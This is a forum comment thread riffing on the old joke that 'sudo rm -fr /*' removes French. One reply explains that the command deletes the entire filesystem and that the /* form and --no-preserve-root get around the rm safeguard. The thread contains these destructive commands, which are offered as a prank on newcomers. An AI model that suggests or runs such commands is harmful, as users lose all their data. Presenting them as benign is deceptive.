• Barbarian
    link
    fedilink
    arrow-up
    29
    ·
    edit-2
    2 days ago

    And to avoid annoying error messages about preserving the root of the language, add a * at the end. Final command should look like this:

    sudo rm -fr /*

    • SailorMoss
      link
      fedilink
      arrow-up
      16
      ·
      2 days ago

      I’m a simple man, I see code and I copy and paste it into the terminal with no understanding of what it does.

    • Mouselemming
      link
      fedilink
      arrow-up
      18
      ·
      2 days ago

      So I know nothing and just wandered in here from Top, but this translates as, “Fuck you, all of you, French language, I show you my butthole,” right?

      • Barbarian
        link
        fedilink
        arrow-up
        48
        arrow-down
        1
        ·
        edit-2
        2 days ago

        No, this is a very old joke that uses the fact the command has “fr” in it to trick people about what the command does. Joking aside, here’s what the command actually does:

        rm is the command to delete files and folders

        -f is the force modifier. This means it’ll keep going even if it encounters problems and just delete as much as it can

        -r is the recursive modifier. That means it’ll go down every folder it sees in the target and delete the contents as well, and delete the contents of folders of folders, etc.

        / is the target. This is the root of the filesystem. If you’re used to Windows, that’s like targeting C:.

        Put it all together, and this command basically deletes your whole filesystem. A safeguard was put in place a while back due to people meming about this and causing newbies to delete their whole system. Now it won’t work unless you put in --no-preserve-root, which tells rm that yes, you really mean it, please delete my whole system.

        /* as the target works around that safeguard, because technically deleting everything in root is not the same as deleting root itself.

      • Fuck spez
        link
        fedilink
        English
        arrow-up
        16
        ·
        2 days ago

        They’re all lying to you. It actually removes Romanian – for real

    • ggppjj@lemmy.world
      link
      fedilink
      English
      arrow-up
      6
      ·
      2 days ago

      Gotta make sure the root language is removed also. Add --no-preserve-root for that.